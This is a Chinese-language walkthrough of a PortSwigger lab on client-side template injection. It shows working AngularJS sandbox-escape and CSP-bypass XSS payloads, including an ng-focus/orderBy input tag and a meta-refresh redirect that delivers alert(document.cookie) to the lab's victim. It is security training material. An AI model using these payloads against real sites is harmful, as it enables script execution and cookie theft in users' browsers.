专家-客户端模板注入-反射型XSS-AngularJS沙箱逃逸与CSP的碰撞
# 实验室:客户端模板注入-反射型XSS-AngularJS沙箱逃逸与CSP的碰撞
# 题目
此实验室使用了 CSP (opens new window) 和 AngularJS (opens new window)。
若要解决实验室问题,请执行跨站脚本攻击,绕过 CSP 并逃离 AngularJS 沙箱,然后向document.cookie
发出alert
调用。
- name: 实验室-专家
desc: 客户端模板注入-反射型XSS-AngularJS沙箱逃逸中的CSP >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/cross-site-scripting/contexts/client-side-template-injection/lab-angular-sandbox-escape-and-csp
bgColor: '#001350'
textColor: '#d112fe'
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
一个搜索功能。
在search
参数中注入 AngularJS 表达式,成功被解析。
注入经典载荷,尝试调用 alert 函数。
{{$on.constructor('alert(1)')()}}
被 CSP 阻止。
在XSS备忘单 (opens new window)中,有专门用于绕过 CSP 的 AngularJS 攻击载荷。
一共有 5 个载荷,一个个试过去就行了。
注入第一个载荷,错误信息 “搜索长度限 80 个字符”。
5 个载荷中有 2 个载荷的字符长度小于 80,范围更小了。
注入长度为 66 个字符的载荷,标签被正常解析,但是 JavaScript 代码没有被自动执行。
<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(1)'>
该载荷需要 鼠标点击 之后才能触发(需要用户交互),不符合题目要求。
现在有两个办法:
一是添加autofocus
属性,看看能不能自动触发 JavaScript。经过测试,效果不是很好。
(要和onfocus
事件搭配才能发挥作用)
<input autofocus id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(1)'>
二是在 URL 后添加锚点#x
,刚好能够定位到带有id=x
属性的input
标签。经过测试,效果中等,不好也不差。
<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(1)'>#x
进入漏洞利用服务器,将 Body 修改为以下代码,将受害者重定向至带有 XSS 的页面:
(iframe
标签被阻止,所以改用meta
标签,你也可以使用更为简单的window.location
)
<meta http-equiv="refresh" content="0; url=https://0afa0026046d045580801c6900e000c0.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x">
保存之后,先自己访问一遍漏洞利用 URL,确认是否能够正确跳转,并调用 alert 函数。
确认完毕之后,将其发送给受害者。
发送之后,实验室提示我们完成了实验。
实验完成。
值得注意的是,在 FireFox 浏览器中,从当前 URL 访问另一个带有锚点的 URL 时,并不会马上触发锚点。
以下是一个动图(第一次访问锚点#x
,锚点未被触发,JavaScript 也未被执行,需要二次访问才能触发锚点):
但在 Chrome 浏览器中,当你访问一个带有锚点的 URL 时,锚点将被立即触发: